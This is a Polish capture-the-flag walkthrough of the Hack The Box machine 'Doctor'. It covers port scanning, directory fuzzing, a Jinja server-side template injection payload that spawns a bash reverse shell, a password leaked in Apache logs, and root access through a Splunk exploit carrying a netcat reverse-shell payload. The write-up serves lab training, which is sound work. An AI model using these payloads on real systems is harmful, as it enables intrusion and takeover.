Doctor

Nmap

nmap -sC -sV -p- -T4 10.129.17.43
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-26 20:00 BST
Stats: 0:01:20 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 77.39% done; ETC: 20:02 (0:00:23 remaining)
Stats: 0:02:35 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.51% done; ETC: 20:03 (0:00:00 remaining)
Nmap scan report for 10.129.17.43
Host is up, received echo-reply ttl 63 (0.037s latency).
Not shown: 65532 filtered ports
Reason: 65532 no-responses
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE  REASON         VERSION
22/tcp   open  ssh      syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http     syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Doctor
8089/tcp open  ssl/http syn-ack ttl 63 Splunkd httpd
| http-robots.txt: 1 disallowed entry 
|_/
|_http-server-header: Splunkd
|_http-title: splunkd
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Not valid before: 2020-09-06T15:57:27
|_Not valid after:  2023-09-06T15:57:27
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 158.05 seconds

User

Po przejrzeniu strony głównej widzimy bardzo mały różniący się szczegół, mianowicie inną domenę e-maila niż podstawowa.

Dodajemy wpis do /etc/hosts i pokazuje nam się zupełnie inna strona.
Puszczamy przeszukiwanie katalogów.

ffuf -w /usr/share/seclists/Discovery/Web-Content/big.txt -u http://doctors.htb/FUZZ

Jednocześnie testując dodawanie wpisów widzimy, w proxy, że dostajemy odpowiedź z serwera o wersji oprogramowania.

Server: Werkzeug/1.0.1 Python/3.8.2

Po dalszym testowaniu i wynikach z ffuf widzimy katalog “/archive”,
który wykonuje nasz kod z ataku typu Server Side Template Injection.

Kolejnym krokiem jest wystawienie sobie Reverse Shell’a.

{{config.__class__.__init__.__globals__['os'].popen('/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.14.86/9090 0>&1"').read()}}

Następnie widzimy że nasz użytkownik ma uprawnienia do grupy (adm) co by wskazywało, że warto przejrzeć katalog “/var/log“.
I rzeczywiście znajdujemy tam hasło naszego użytkownika.

web@doctor:~$ id
uid=1001(web) gid=1001(web) groups=1001(web),4(adm)
web@doctor:/var/log/apache2$ cat backup | grep pass 

10.10.14.4 - - [05/Sep/2020:11:17:34 +2000] "POST /reset_password?email=Guitar123" 500 453 "http://doctor.htb/reset_password"
su - shaun
Guitar123

cat user.txt
508b837f6***baaf2e46eab3

Root

Eskalacja uprawnień jest dość prosta, ponieważ te same dane logowania pasują do splunk’a, który jest uruchomiony jako root, na którego z kolei jest gotowy eksploit.

używamy komendy poniżej i mamy Reverse Shell’a

python2 PySplunkWhisperer2_remote.py --username shaun --password Guitar123 --host 10.129.14.29 --lhost 10.10.14.86 --payload 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.86 9091 >/tmp/f'
cat root.txt
546f36edcdf6dc5***e1642e12127e

Leave a Comment